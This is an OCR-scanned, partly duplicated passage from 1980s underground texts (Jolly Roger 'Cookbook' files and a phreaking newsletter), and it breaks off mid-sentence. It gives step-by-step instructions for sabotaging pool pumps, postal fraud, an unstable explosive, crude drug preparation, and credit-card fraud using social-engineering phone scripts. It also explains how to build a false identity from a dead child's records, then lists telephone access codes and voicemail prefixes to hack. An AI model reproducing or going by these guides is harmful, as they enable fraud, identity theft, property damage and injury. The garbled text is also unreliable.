pump to "backwash". Turn the pump on and get the phuck out! When you 
look the next day, phunny. The pool is dry. If you want permanant 
damage, yet no great display like my first one mentioned, shut the 
valves of the pool off. (There are usually 2) One that goes to the 

main drain and one that goes to the filter in the pool. That should 

be enough to have one dead pump. The pump must take in water, so when 
there isn't any... 

Practical jokes: these next ones deal with true friends and 

there is *no* permanent damage done. If you have a pool, you must 
check the pool with chemicals. There is one labeled orthotolidine. 
The other is labeled alkaline (ph). You want orthotolidine. (It 

checks the chlorine). 

Go to your local pool store and tell them you're going into the pool 
business, and to sell you orthotolidine (a 

CL detector) Buy this in great quantities if possible. The solution 

is clear. You fill 2 baggies with this chemical. And sew the bags to 
the inside of your suit. Next, go swimming with your friend! 

Then open the bags and look like you're enjoying a piss. And anyone 
there will turn a deep red! They will be embarrased so much, 
Especially if they have guests there! Explain what it is, then add 


vinegar to the pool. Only a little. The "piss" disappears. 


HAHA! weneeeeeeeeeeeeeneee, Jolly Roger 


Free Postage by the Jolly Roger 


The increasing cost of postage to mail letters and packages is 

bringing down our standard of living. To remedy this deplorable 
situation, some counter control measures can be applied. 

For example, if the stamps on a letter are coated with Elmer's 

Glue by the sender, the cancellation mark will not destroy the stamp: 
the Elmer/s drives to form an almost invisible coating that protects 

the stamps from the cancellation ink. Later, the receiver of the 

letter can remove the cancellation mark with water and reuse the 
stamps. Furthermore, ecological saving will also result from recycling 
the stamps. Help save a tree. 

The glue is most efficently applied with a brush with stiff, 

short bristles. Just dip the brush directly into the glue and spread 

it on evenly, covering the entire surface of the stamp. It will dry 

in about 15 minutes, 

For mailing packages, just follow the same procedure as outlined 
above; however, the package should be weighed and checked to make sure 
that it has the correct amount of postage on it before it is taken to 

the Post Office. 

Removing the cancellation and the glue from the stamps can be 

easily accomplished by soaking the stamps in warm water until they 
float free from the paper. The stamps can then be put onto a paper 
towel to dry. Processing stamps in large batches saves time too. 

Also, it may be helpful to write the word 'Elmer' at the top of the 

letter (not on the envelope) to cue the receiving party in that the 

stamps have been protected with the glue. 

We all know that mailing packages can be expensive. And we also 
know that the handicapped are sometimes discriminated against in jobs. 
The Government, being the generous people they are, have given the 
blind free postal service. 

Simply address you envelope as usual, and make one modification, 

In the corner where the stamp would go, write in (or stamp) the words 
"FREE MATTER FOR THE BLIND". Then drop you package or letter in one 
of the blue fedral mailboxes. DO NOT TAKE THE LETTER TO THE POST 
OFFICE, OR LEAVE IT IN YOUR MAILBOX. 

Sounds very nice of the government to do this, right? Well, they 

aren't that nice. The parcel is sent library rate, that is below 

third class. It may take four to five days to send a letter to just 

the next town. 


This too is quite simple, but less effective. Put the address 

that you are sending the letter to as the return address. If you were 
sending a $20 donation to the pirate's Chest, you would put our 
address (po box 644, lincoln ma. 01773) as the return address. 
Then you would have to be carless and forget to put the stamp on 
the envelope. A nice touch is to put a bullshit address in the center 
of the envelope. 

Again, you MUST drop the letter ina FEDRAL mailbox. If the post 
office doesn't send the letter to the return address for having no 
stamp, they will send it back for the reason of "No such address”. 
Example-- 


Pirates Chest Dept. 40DD 
P.O. Box 644865 
Lincol, Ma. 41773 


Tom Bullshit 
20 Fake Road 
What Ever, XX 99851 


One last thing you might try doing is soaking a cancelled stamp 
off of an envelope, and gluing it onto one you are sending. Then burn 
the stamp, leaveing a little bit to show that there was one there. 


wen ne rene ece es Jolly Roger 
Unstable Explosives by the Jolly Roger 


Mix solid Nitric Iodine with househould ammonia. Wait overnight and 
then pour off the liquid. You will be left with a muddy substance. Let 
this dry till it hardens. Now throw it at something!!! 


weeeen ene ne ene, Jolly Roger 
Weird Drugs by the Jolly Roger 


Bananas: 

1. Obtain 15 pounds of ripe yellow bananas 

2. Peel all and eat the fruit. Save the peelings 

3. Scrape all the insides of the peels with a sharp knife. 

4. Put all the scraped material in a large pot and add water. 

5, Boil 3 or 4 hours until it has attained a solid paste considtency. 

6. Spread paste onto cookie sheets and dry in ofen for about 20 
minutes. This will result in fine black powder. Usually one will 
feel the effects after smoking three to four cigarettes. 


Cough syrup: 

mix robitussion a-c with an equal amount of ginger ale and drink. The 
effect are sedation and euphoria. Never underestimate the effects of 
any drug! You can od on cough syrup! 


Toads: 

1, Collect five to ten toads, frogs will not work. The best kind are 
tree toads. 

2. Kill them as painlessly as possible, and skin immediately. 

3. Allow the skins to dry in a refrigerator four four to five days, or 
until the skins are brittle. 

4, Now crush the skins into powder and smoke. Due to its bad taste you 
can mix it with a more fragrent smoking medium. 


Nutmeg: 

1. Take several whole nutmegs and grind them up in an old grinder. 

2. After the nutmegs are ground. Place in a mortar and pulverize with 
a pestle. 

3. The usual dosage is about 10 or 15 grams, A larger dose may 
produce excessive thirst,anxiety,and rapid hart beat, but 
hallucinations are rare. 


Peanuts: 

1. Take 1 pound of raw peanuts (not roasted) 

2. Shell them, saving the skins and discarding the shells. 
3. Eat the nuts. 

4, Grind up the skins and smoke them. 
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Weird Drugs by the Jolly Roger 


Bananas: 

1. Obtain 15 pounds of ripe yellow bananas 

2. Peel all and eat the fruit. Save the peelings 

3. Scrape all the insides of the peels with a sharp knife. 

4, Put all the scraped material in a large pot and add water. 

5. Boil 3 or 4 hours until it has attained a solid paste considtency. 

6, Spread paste onto cookie sheets and dry in ofen for about 20 
minutes. This will result in fine black powder. Usually one will 
feel the effects after smoking three to four cigarettes. 


Cough syrup: 
mix robitussion a-c with an equal amount of ginger ale and drink. The 
effect are sedation and euphoria. Never underestimate the effects of 


any drug! You can od on cough syrup! 


Toads: 

1. Collect five to ten toads, frogs will not work. The best kind are 
tree toads. 

2. Kill them as painlessly as possible, and skin immediately. 

3. Allow the skins to dry in a refrigerator four four to five days, or 
until the skins are brittle. 

4, Now crush the skins into powder and smoke. Due to its bad taste you 
can mix it with a more fragrent smoking medium. 


Nutmeg: 

1. Take several whole nutmegs and grind them up in an old grinder. 

2. After the nutmegs are ground, Place in a mortar and pulverize with 
a pestle, 

3, The usual dosage is about 10 or 15 grams. A larger dose may 
produce excessive thirst,anxiety,and rapid hart beat, but 
hallucinations are rare, 


Peanuts: 

1. Take 1 pound of raw peanuts (not roasted) 

2. Shell them, saving the skins and discarding the shells. 
3. Eat the nuts. 

4, Grind up the skins and smoke them. 


weneenne ne ene nnee Jolly Roger 
The Art of Carding by the Jolly Roger 


Obtaining a credit card number: There are many ways to obtain the 
information needed to card something. 

The most important things needed are the card number and the expiration 
date. Having the card-holders name doesn't hurt, but it is not essential. 
The absolute best way to obtain all the information needed is by trashing. 
The way this is done is simple. You walk around your area or any other 
area and find a store, mall, supermarket, etc., that throws their 

garbage outside on the sidewalk or dumpster. Rip the bag open and see 
if you can find any carbons at all. If you find little shreds of 

credit card carbons, then it is most likely not worth your time to tape 
together. Find a store that does not rip their carbons at all or only in half. 
Another way is to bullshit the number out of someone. That is call them 
up and say "Hello, this is Visa security and we have a report that 

your card was stolen.” They will deny it and you will try to get it out 

of them from that point on. You could say, "It wasn't stolen? Well what 
is the expiration date and maybe we can fix the problem... 


Ok and what is the number on your card?...... Thank you very much and 
have a nice day.” Or think of something to that degree. 

Another way to get card numbers is through systems such as TRW and CBI, 
this is the hard way, and probably not worth the trouble, unless you are 

an expert on the system. Using credit card numbers posted on BBS's is 
risky. The only advantage is that there is a good chance that other 

people will use it, thus decreasing the chances of being the 

sole-offender. The last method of getting numbers is very good also. 

In most video rental stores, they take down your credit card number 

when you join to back-up your rentals. So if you could manage to steal 
the list or make a copy of it, then you are set fora LONG time. 

Choosing a victim: Once you have the card number, it is time to make the 
order. The type of places that are easiest to victimize are small 

businesses that do mail order or even local stores that deliver. 

If you have an ad for a place with something you want and the order number 
is NOT a 1-800 number then chances are better that you will succeed. 
Ordering: When you call the place up to make the order, you must have 
several things readily at hand. 

These are the things you will need: A name, telephone number, business 
phone, card number (4 digit bank code if the card is MasterCard), 
expiration date, and a complete shipping and billing address. 

I will talk about all of these in detail. A personal tip: When I call 

to make an order, it usually goes much smoother if the person you are 
talking to is a woman. In many cases they are more gullible than men. 
The name: You could use the name on the card or the name of the person 
who you are going to send the merchandise to. Or you could use the name 
on the card and have it shipped to the person who lives at the drop 

(Say it is a gift or something). 

The name is really not that important because when the company verifies 
the card, the persons name is never mentioned, EXCEPT when you have a 
Preffered Visa card. Then the name is mentioned. You can tell if you 
have a Preffered Visa card by the PV to the right of the expiration 

date on the carbon. Nophone all day long waiting for the company to call 
(Which they will), then the phone number to give them as your home-phone 
could be one of the following: A number that is ALWAYS busy, a number 
that ALWAYS rings, a payphone number, low end of a loop (and you will wait 
on the other end), or a popular BBS. 

NEVER give them your home phone because they will find out as soon as 
the investigation starts who the phone belongs to. The best thing would 
be to have a payphone call forward your house 

(via Cosm The business number: When asked for, repeat the number you 
used for your home phone. 

Card number: The cards you will use will be Visa, Mastercard, and 
American Express. The best is by far Visa. It is the most 
straight-forward. Mastercard is pretty cool except for the bank code. 


When they ask for the bank code, they sometimes also ask for the bank 
that issued it. When they ask that just say the biggest bank you know of 
in your area. Try to avoid American Express. They tend to lead full 
scale investigations. Unfortunately, American Express is the most popular 
card out. When telling the person who is taking your call the card 
number, say it slow, clear, and with confidence. 

e.g. CC# is 5217-1234-5678-9012. Pause after each set of four so you 
don't have to repeat it. 

Expiration date: The date must be at LEAST in that month. It is best 

to with more than three months to go. 

The address: More commonly referred to as the ‘drop’. Well the drop 

can range from an abandoned building to your next door neighbors 
apartment. If you plan to send it to an apartment building then be 

sure NOT to include an apartment number. This will confuse UPS or postage 
men a little and they will leave the package in the lobby. 

Here is a list of various drops: The house next door whose family is on 
vacation, the apartment that was just moved out of, the old church that 
will be knocked down in six months, your friends house who has absolutely 
nothing to do with the type of merchandise you will buy and who will 
also not crack under heat from feds, etc.. 

There are also services that hold merchandise for you, but personally 

I would not trust them. And forget about P.O. Boxes because you need 
ID to get one and most places don't ship to them anyway. 

Other aspects of carding: Verifying cards, seeing if they were reported 
stolen, 

Verifying cards: Stores need to verify credit cards when someone purchases 
something with one. They call up a service that checks to see if the 
customer has the money in the bank. 

The merchant identifies himself with a merchant number. The service 
then holds the money that the merchant verified on reserve. When the 
merchant sends in the credit card form, the service sends the merchant 
the money. The service holds the money for three days and if no form 
appears then it is put back into the bank. The point is that if you 

want to verify something then you should verify it for a little amount 

and odds are that there will be more in the bank. 

The good thing about verification is that if the card doesn't exist or 

if it is stolen then the service will tell you. To verify MasterCard 

and Visa try this number. It is voice:1-800-327-1111 merchant code is 
596719. 

Stolen cards: Mastercard and Visa come out with a small catalog every 
week where they publish EVERY stolen or fraudulantly used card. 

I get this every week by trashing the same place on the same day. 

If you ever find it trashing then try to get it every week. 

Identifying cards: Visa card numbers begin with a 4 and have either 13 

or 16 digits. MasterCard card numbers begin with a 5 and have 16 digits. 


American Express begins with a 3 and has 15 digits. They all have the 
formats of the following: 
3XXX-XXXXXX-XXXXX American Express 
4XXX-XXX-XXX-XXxX Visa 
4XXX-XXXX-XXXX-XXXX Visa 
SXXX-XXXX-XXXX-XxXxx MasterCard 
Gold cards: A gold card simply means that credit is good for $5000. 
Without a gold card, credit would be normally $2000. 
To recognize a gold card on a carbon there are several techniques: 
American Express-none. 
Visa-PV instead of CV. 
Note-When verifying a PV Visa, you have to have the real name of the 
cardholder. 
_ Mastercard-An asterix can signify a gold card, but this changes depending 
when the card was issued. 
I am going to type out a dialog between a carder and the phone operator 
to help you get the idea. 
Operator: "Over-priced Computer Goods, may I help you?" 
Carder: "Hi, I would like to place an order please.” 
Operator: "Sure, what would you like to order?" 
Carder: "400 generic disks and a double density drive.” 
Operator: "Ok, is there anything else?" 
Carder: "No thank you, that's all for today." 
Operator: "Ok, how would you like to pay for this? MasterCard or Visa?" 
Carder: "Visa." 
Operator: "And your name is?" 
Carder: "Lenny Lipshitz.” (Name on card) 
Operator: "And your Visa card number is?" 
Carder: "4240-419-001-340" (Invalid card) 
Operator: "Expiration date?" 
Carder: "06-92," 
Operator: "And where would you like the package shipped to?” 
Carder: "6732 Goatsgate Port. Paris,texas,010166." 
Operator: "And what is your home telephone number?" 
Carder: "212-724-9970" (This number is actually always busy) 
Operator: "I will also need your business phone number in case we have 
to reach you." 
Carder: "You can reach me at the same number. 212-724-9970" 
Operator: "0.K. Thank you very much and have nice day." 
Carder: "Excuse me, when will the package arrive?” 
Operator: "In six to seven days UPS." 
Carder: "Thanks alot, and have a pleasant day.” 
Now you wait 6-7 days when the package will arrive to the address which 
is really a house up for sale. There will be a note on the door 
saying, "Hello UPS, please leave all packages for Lenny Lipshitz in the 


lobby or porch. Thanks alot, Lenny Lipshitz" (Make the signature half-way 
convincing) 


conser ene eee nc nn en, Jolly Roger 
Recognizing credit cards by the Jolly Roger 


(Sample: American Express] 
XXXX XXXXXX XXXXX 
MM/Y1 THRU MM/Y2 YI 
John Doe AX 


Explanation: 

The first date is the date the person got the card, the second 

date is the expriation date, after the expiration date is the same 
digits in the first year. The American Express Gold has many more 
numbers (I think 6 8 then 8). If you do find a Gold card keep it 

for it has a $5000.00 backup even when the guy has no money! 


[Sample: Master Card] 
SXXX XXXXK XXXX XXXX 
XXXX AAA DD-MM-YY MM/YY 
John Doe. 


Explanation: 
The format varies, J have never seen a card that did not start with 
a 5XXX there is another 4 digits on the next line that is sometimes 
asked for when ordering stuff, (and rarely a3 digit letter combo 
(e. ANB). The first date is the date the person got the card 
and the second date is the expiration date. 
Master Card is almost always accepted at stores. 
[Sample: VISA] 

XXXX KXX(X) KXX(X) XXX(X) 

MM/YY MM/YY*VISA 

John Doe 


Explanation: 

Visa is the most straight forward 

of the cards,for it has the name right on the card itself, again the 
first date is the date he got the card and the second is the 

expiration date. (Sometimes the first date is left out). The 

numbers can eather be 4 3 3 3 or 4 4 4 4. Visa is also almost always 
accepted at stores, therefore, the best of cards to use. 

Recognizing credit cards by the Jolly Roger 


[Sample: American Express] 
XXXXK XXXXXK XXXXX 
MM/Y1 THRU MM/Y2 Yi 
John Doe AX 


Explanation: 

The first date is the date the person got the card, the second 

date is the expriation date, after the expiration date is the same 
digits in the first year. The American Express Gold has many more 
numbers (I think 6 8 then 8). If you do find a Gold card keep it 

for it has a $5000.00 backup even when the guy has no money! 


(Sample: Master Card] 
S5XXX XXXX XXXX XXXX 
XXXX AAA DD-MM-YY MM/YY 
John Doe. 


Explanation: 
The format varies, I have never seen a card that did not start with 
a 5XXX there is another 4 digits on the next line that is sometimes 
asked for when ordering stuff, (and rarely a3 digit letter combo 
(e. ANB), The first date is the date the person got the card 
and the second date is the expiration date. 
Master Card is almost always accepted at stores. 
[Sample: VISA] 

XXXX XXX(X) XXX(X) XXX(X) 

MM/YY MM/YY*VISA 

John Doe 


Explanation: 

Visa is the most straight forward 

of the cards, for it has the name right on the card itself, again the 

first date is the date he got the card and the second is the 

expiration date. (Sometimes the first date is left out). The 

numbers can eather be 4 3 3 3 or 4.4 4 4. Visa is also almost always 

accepted at stores, therefore, the best of cards to use. 

How To Create A New Indentity By The Walking Glitch 
Courtesy of the Jolly Roger! 


You might be saying, "Hey Glitch, what do I need a new identity for?" 
The answer is simple. You might want to go buy liquor somewhere, right? 
You might want to go give the cops the false name when you get busted 
so you keep your good name, eh? You might even want to use the new 
identity for getting a P.O. Box for carding. Sure! You might even 

want the stuff for renting yourself a VCR at some dickless loser of a 


convenience store. Here we go: 
Getting a new ID isn't always easy, no one said it would be. By following 
these steps, any bozo can become a new bozo ina coupla weeks. 


STEP 1 


The first step is to find out who exactly you'll become. The 

most secure way is to use someone's ID who doesn't use it themselves. 
The people who fit that bill the best are dead. As an added bonus they 
don't go complaining one bit. Go to the library and look 

through old death notices. You have to find someone who was born about 
the same time as you were, or better yet, a year or two older 

so you can buy booze, etc. You should go back as far as you can for the 
death because most states now cross index deaths to births so people 
can't do this in the future. The cutoff date in Wisconsin is 1979, folks 
in this grand state gotta look in 1978 or earlier. Anything earier there 

is cool. Now, this is the hardest part if you're younger. Brats that 

young happen to be quite resilient, takin’ falls out of three story windows 
and eating rat poison like its Easter candy, and not a scratch or 

dent. There ain't many that die, so ya gotta look your ass off. Go 

down to the library and look up all the death notices you can, 

if it's on microfilm so much the better. You might have to go through 
months of death notices though, but the results are well worth it. 

You gotta get someone who died locally in most instances: the death 
certificate is filed only in the county of death. Now you go down to 

the county courthouse in the county where he died and get the 

death certificate, this will cost you around $3-$5 depending on the state 
you're in. Look at this hunk of paper, it could be your way to 

vanish in a clould of smoke when the right time comes, like right after 
that big scam. If You're lucky, the slobs parents signed him up with 
social security when he was a snot nosed brat. That'll be another piece 
of ID you can get. If not, thats ok too. It'll be listed on the death 
certificate if he has one. If you're lucky, the stiff was born 

locally and you can get his birth certificate right away. 


STEP 2 


Now check the place of birth on the death certificate, if it's in 

the same place you standing now you're all set. If not, you can mail 
away for one from that county but its a minor pain and it might 

take a while to get, the librarian at the desk has listings of where 

to write for this stuff and exactly how much it costs. Get the Birth 
cirtificate, its worth the extra money to get it certified 

because thats the only way some people will accept it for ID. When yur 
gettin this stuff the little forms ask for the reason you want it, 


instead of writing in "Fuck you", try putting in the word "Geneology". 
They get this all the time. If the Death certificate looks good for 

you, wait a day or so before getting the certified birth certificate 

in case they recognize someone wanting it for a dead guy. 


STEP 3 


Now your cookin! You got your start and the next part's easy. 

Crank out your old Dot matrix printer and run off some mailing labels 
addressed to you at some phony address. Take the time to check your 
phony address that there is such a place. Hotels that rent by the month 
or large apartment buildings are good, be sure to get the right zip 

code for the area. These are things that the cops might notice that 

will trip you up. Grab some old junk mail and paste your new lables 
on them. Now take them along with the birth certificate down to the library. 
Get a new library card. If they ask you if you had one before say that 
you really aren't sure because your family moved around alot when 
you were a kid. Most libraries will allow you to use letters as a form 

of ID when you get your card. If they want more give them a sob story 
about how you were mugged and got your wallet stolen with all your 
identification. Your card should be waiting for you in about two weeks. 
Most libraries ask for two forms of ID, one can be your trusty Birth 
Certificate, and they do allow letters addressed to you as a second 
form. 


STEP 4 


Now you got a start, it isn't perfect yet, so let's continue. You should 

have two forms of ID now. Throw away the old letters, or better yet 

stuff them inside the wallet you intend to use with this stuff. 

Go to the county courthouse and show them what nice ID you got and get 
a state ID card. Now you got a picture ID. This will take about two weeks 
and cost about $5, its well worth it. 


STEP 5 


If the death certificate had a social security number on it you can go 

out and buy one of those metal SS# cards that they sell. 

If it didn't, then you got all kinds of pretty ID that shows exactly 

who you are. [f you don't yet have an SS#, Go down and apply for one, 
these are free but they could take five or six weeks to get, 

Bureaucrats you know... You can invent a SS# too if ya like, but the motto 
of 'THE WALKING GLITCH’ has always been "Why not excellence?". 


STEP 6 


If you want toe go whole hog you can now get a bank account in your new 


name. If you plan to do alot of traveling then you can put alot 

of money in the account and then say you lost the account book. After 
you get the new book you take out all the cash. They'll hit you 

with a slight charge and maybe tie-up your money some, but if you're 
ever broke in some small town that bank book will keep you from being 
thrown in jail as a vagrant. 


ALL DONE? 


So kiddies, you got ID for buying booze, but what else? In some towns 
(the larger the more likely) the cops if they catch you for something 
petty like shoplifting stuff under a certain dollar amount, will just 

give you a ticket, same thing for pissing in the street. Thats it! 

No fingerprints or nothing, just pay the fine (almost always over $100) 
or appear in court. Of course they run a radio check on your ID, you'll 
be clean and your alter-ego gets a blot on his record. 

Your free and clear. Thats worth the price of the trouble you've gone 
through right there. If your smart, you'll toss that ID away if this 
happens, or better yet, tear off your picture and give the ID to someone 
you don't like, maybe they'll get busted with it. 

If you're a working stiff, here's a way to stretch your dollar. Go to work 
for as long as it takes to get unemployment and then get yourself fired. 
Go to work under the other name while your getting the unemployment. 
With a couple of sets of ID, you can live like a king. These concepts 


for survival in the new age come to you compliments of THE WALKING GLITCH. 


First release of this phile 7/7/88. 


brought to you in the Cookbook courtesy of... 
soreneeceeenneee ‘The Jolly Roger 
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| Celestial Elite/TUFF Come to an End 


Sprint caught a guy dealing] Celestial Elite and TUFF, the famous 
codes on the street in LA|hack/phreak groups came to an end a couple 
this past week. Information|weeks ago. TUFF, however, is being reborn 
on this bust is limited atland you can expect itto be back to full 
this time. |force within a month. Sources have it that 

A seventeen year old was|Magnus Adept, head of the now terminated 
busted in Arizona last week.|group, Celestial Elite, has started a new 
The name of the teenager willlgroup called Avalon Kingdom. We are unsure 
not be printed to protect him|what plans are in store for it. 
from harassment calls. | TUFF has several ideas and plans that 

[will be out to the public soon. Look for 
>This information was supplied|future issues of The Remote Informer (tm) 
by Phreaky Phone II __ [for new updates. 


Beige Box Bust | TeleNet Hacker | Bate's Motel Moves 


One of our editors and a} Crusader released| Bate's Motel BBS, 
member of TUFF, Norman Bates|his TeleNet hacking|run by Norman Bates, 
was caught for Beige boxing|program on September|was forced to move. It 
that he had done over 3 months|20, 1987. Look forlis temporarily set up 
ago. The calls he had madelit ona good boardlat (619)267-8619. It 
were inside his state and costlyou call. A review|will remain 1200 baud, 
atotal of $12. He paid the|will be in the nextjanda member of the 
bill and no charges were filedlissue of The Remote [TUFF Network. It is 
against him. {Informer. bpet to the public. 


Phreaky Phones Return: insconasad | LDDS Buys Out TMC: eis dais Merge 


The original Phreaky Phone numbers} LDDS bought out TMC last month. 
now support the new Phreaky Phones.|They merged into LDDS, since it was 


The guys running them had protested|bigger and more widespread. Any 
that the lines were being monitored.|companies that were subscribing to 
There is no way that could have been,|the TMC long distance service were 
and they contradicted themselves bylautomatically coverted to LDDS. All 
restarting Phreaky Phones on the same|local TMC ports still work, but wiil 
numbers. They gave alot of credit/soon be disconnected. Refer to the 

to the people calling to suggest theylarticle on LDDS in this issue for 
believe a story like that. |Imore information on LDDS dial-ups. 


US Sprint Calls Destinations | Pirate's Hollow Is Back With 10 Megs 


US Sprint now calls all the| Pirate's Hollow is back on-line. It 
numbers called with unauthorized|now is run a 10 meg hard drive. Unlike 
codes. Their dis-advantage is|most boards that have #'s of megs, this 
that they are delayed by aboutione will stress more attention on it's 
two months in calling because|database. The database is scheduled to 
they have to wait till peoplejbe online by October Ist. This database 
report they did not make calls to|will contain 800+ text files on various 
the numbers they were billed for.|topics, with about 60% - 70% pertaining 
Best advice is to not call voice|to illegal activities. Unfortunately, 
with Sprint except to those who/Trax Xe is being redesigned, so until it 
have private lines other thanlis finished, it will run on Carina. The 
their regular phone line. |number is (415)593-6784 (300/1200 baud). 


This section is to make you aware of well-known raggers and braggers. 
Since this is the first time this section is being printed, we will tell 
you what classifies people as raggers and braggers. In the future issues 
the top raggers and braggers will be listed in this newsletter to let the 
SysOps know who not to let on their board, or to atleast keep an eye on. 
A ragger is someone who will put someone else down for something. The 
person might post a message asking a novice question about hacking and 
phreaking, or may say something that is completely wrong, anda ragger 
will put the other person down for he said, posted, etc. The ones that 
usually classify in this category are the ones that think they know it all 
and consider themselves right no matter what anyone says. Most of the 
users that use codes and consider themselves a master phreaker usually 


become raggers. 

A bragger is someone who either does or thinks he does know everything, 

and puts it upon himself to tell the whole world that he knows it all. 

This person is also one who thinks he is better than everyone else and 

he believes he is Elite, and no one else is. People who tend to do this 

are those who have, for some reason, become well-known in the underworld, 
and as a result become a bragger. Those usually not too well-known will 
not tend to brag as much as those who think everyone would love to be 
their friend and be like them. 

As a well-known ragger and bragger, The Toad, learned that it does not 
help to be one or both of those. He has since changed and is now easily 
accepted by most. Most people disliked him because others they knew had 
said something bad about him. This is called peer pressure and is a bad 
influence to those who are new to the underworld. I would suggest in the 
future, to not judge someone by what others say, but rather by how they 
act around/to you. 

The current most popular Atarian that classifies as a ragger and a 
bragger is Ace of Aces, and is well-hated by many users and SysOps, since 
he tends to put down anything anyone says and considers himself the best 
at writing hacking programs, He is commonly referred to as Ass of Asses 
and Ass of Assholes. Even holding an open mind about this guy, you would 
soon come to find that what others said coincides with what you see from 


him. 


LDDS, who as mentioned above bought out TMC, is installing a new 950 
port to most major cities. By the time you read this, it should be in 
almost every area that supports 950 ports. The number is 950-1450. This 
port will dial 976 numbers, but not 700, 800, or 900 numbers. The dialing 
method for LDDS is: 7 digit code, then even ifthe code is bad it will 
give you a dial tone. Then dial the area code plus the number. If you 
have a bad code it will simply say your call cannot be completed as it was 
dialed. There is a default code used on the system that currently works. 
The code is simply, 1234567. I have seen codes from 5 different companies 
and they all are in the format of OOxxxxx. Ido not know what type of 
software they use, but] will know by the next issue exactly what they 
place on the bills. This could be the answer to alot of people's 
problems with fear of Sprint and ITT, especially AllNets. Just remember, 
Tracker is the one who found this, and all information about it. If 
someone is seen saying they found this, then they will be listed in the 
next issue which will contain an article on leeches. 


Mailbox systems are the link between information and the underworld. If 
you have ever called one, then you will know the advantages of having one, 
especially the ones that are open to whole underworld, rather than just a 
select few. There are two types of mailbox systems that are widely used. 

The first type we will talk about is the multiple mailbox systems, or 
commonly referred to as message systems. These systems have several 
mailboxes set up on one number. Usually, you can access other mailboxes 
from that number by pressing '*' or '#', Sometimes you just enter the 
mailbox number and you are connected. These are the safest systems to use 
to protect information from US Sprint and other long distance companies. 
Since US Sprint and other companies call the destination numbers, it is 
safer to have 800 mailbox systems, and most of the time, the multiple 
mailbox systems are on 800 numbers. The passcode on these systems can 
vary in length and can be accessed by several different methods, so it is 
impossible to explain exactly how to hack these systems. 

The other type is the single mailbox system. These are usually set up 

inareserved prefix in an area code. (Ex: 713-684-6xxx) These systems 
are usually controlled by the same type of hardware/software. To access 
the area where you enter the passcode, just hit '0' for a second or so. 
The passcodes are four (4) digits long. The only way to hack these is 
manually. The best thing you could do is to find one that does not have 
a recording from a person, but just the digitized voice. If you hack one 
that someone already owns, they will report it and it will not last as 
long. 

Here is a list mailboxes or prefixes to help you get started 


Single Multiple Digits 
213-281-8xxx 212-714-2770 3 
213-285-8xxx 216-586-5000 4 
213-515-2xxx 415-338-7000 Aspen Message System 3 
214-733-5xxx 714-474-2033 Western Digital 
214-855-6xxx 800-222-0651 Vincent and Elkins 4 
214-978-2xxx 800-233-8488 3 
215-949-2xxx 800-447-8477 Fairylink 7 
312-450-8xxx 800-521-5344 3 
313-768-1xxx 800-524-2133 RCA 4 
405-557-8xxx 800-527-0027 TTE TeleMessager 6 
602-230-4xxx 800-632-7777 Asynk 6 
619-492-8xxx 800-645-7778 SoftCell Computers 4 


713-684-6xxx 800-648-9675 Zoykon 4 


800-847-0003 Communications World 3 


The Disclaimer! 


We, the editors, take no responsibility for your actions and use of 
the information in this newsletter. This newsletter is for informational 
purposes only. If you are easily offended by telecommunication 
discussions, then we suggest that you not read this newsletter. But for 
those who are truely interested in the information in this newsletter, 
enjoy it. 


In the next issue, we will be open for suggestions from the readers 
of this issue. We will have some featured articles though, which include: 
1) Study of bridges 
2) Review of Crusadetr's new TeleNet Hacker 
3) More information on the new LDDS 950 port 
4) Review of Code Hackers for all modems 
5) List of TeleNet addresses 
6) Credit Card checkers 
7) Ideas from the readers 
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= Introduction = 


It's been a month now, and ALOT has happened. So much, in fact, that the 
information will be split into several issues. This should be no shock since 
I mentioned in the first issue that we may put several issues out sometimes. 

I want to congratulate the readers for finally contributing to the 
newsletter. This first two issues were all on information that I, myself, 
obtained. Several people gave me information for these issues, and their 
handle and information is included in the articles. 


ss In The News! = 


ITT has 9 digits! | | Phreaky Phones Go Down! |Information! 


For those of you who did| The famed Phreaky Phones are down] We have 
not know this, ITT has ninejagain. Modem Man, the original person|so much info 
digit codes. They are said|that started them, has said that they|to put out, 
to give better connections|will be down until further notice. In|that we are 
to some extent. This info.|the meantime, other independent boxes|putting out 
was originally given to uslare being started. A listing can be|many issues 


by Party Beast. |made of current ones on request. [at one time. 
seeps sce eee SE ENE a IIE aed eR real een ne a (If you 

want 

Magnus Adept Gets Busted | Sprint Codes Are Dying Fast! fall issues 

= == ========|that are 


out 

Fellow Atarian and well-| Sprint codes are hard to get and|now, — then 
known phreak Magnus Adept|when they are obtained, they tend tojcall one of 
got caught by MCI. Details|die rather quickly. Phreakers have|the boards 
of the how, when, and where|been saying that the 950-0777 portlat the end 
are not known at this time.jis dead, but on the contrary, it isljof the issue 
He got caught with 150 codesjstill available in states that arelor look for 
and may have to pay up to|not highly abused by phreaks. Herejan editor on 


Starting from now on, we will have a BBS of the month. We will choose a 
BBS, ragardless of computer type, and look at the user participation in phreak 
related matters, as well as quality discussions on the various illegal topics. 


A BBS can remain the BBS of the month as long as they reside above the rest of 
the BBS systems. Even though we will sometimes bring out more than one issue 
in a month, the board will remain BBS of the month until! the first issue inthe 
next month comes out. 

This month's BBS of the month is FBI PirateNet. We chose this board 
because of the large numbers of posts in the bases, and not only information, 
but discussions as well, with a minimum number of posts from raggers and 
braggers. The number for it is 516-661-7360. The SysOp of FBI PirateNet is 
The Phantom, not to be confused with an earlier narc. 


New York -- US Sprint Communications Corp., the troubled long distance 
carrier, is expected to announce soon that it will cut its work force by 
several hundred people and reduce its seven regional divisions to 3 operating 
groups, sources familiar with the company said. 

The company's Pacific division is based in Burlingame, CA. The layoffs 
and reorganization are part of a plan by US Sprint's new president, Robert H. 
Snedaker, to reduce heavy operating losses, which analysts expect to reach 
more than $800 million this year. 

Snedaker replaced Charles M. Slibo, who was forced to resign in July 
because losses were running much higher than the parent companies had 
expected, Problems with the company's computerized billing system also 
contributed to Skibo's ouster. US Sprint is owned and operated by the GTE 
Corp. and United TeleCom. 

According to sources close to Snedaker, who was vice chairman and chief 
operating officer of United TeleCom, he is planning to consolidate the 
company's 7 divisions, which operate in the same geographical regions as the 
seven regional Bell operating companies, into 3 divisions. 

The rationale for the move, according to idustry analysts, is that the 
company will need a much smaller work force once it begins handling all it's 
phone traffic on it's new fiber optic network, which can carry a greater 
number of telephone calls at less cost. Company officials have said that 
they expect to have most of the traffic on the network by early next year. 

One source said that there would be more than one round of layoffs in the 
coming months and that the company ultimately plans to reduce its 14,000 
member work force by 15 percent. 

Several top managers are expected to resign as soon as US Sprint 
centralizes its marketing and support operations as its headquarters in Kansas 
City, MO., according to a report in the latest issue of Business Week 
magazine. 

A spokesman for US Sprint said on Friday that the company would not 
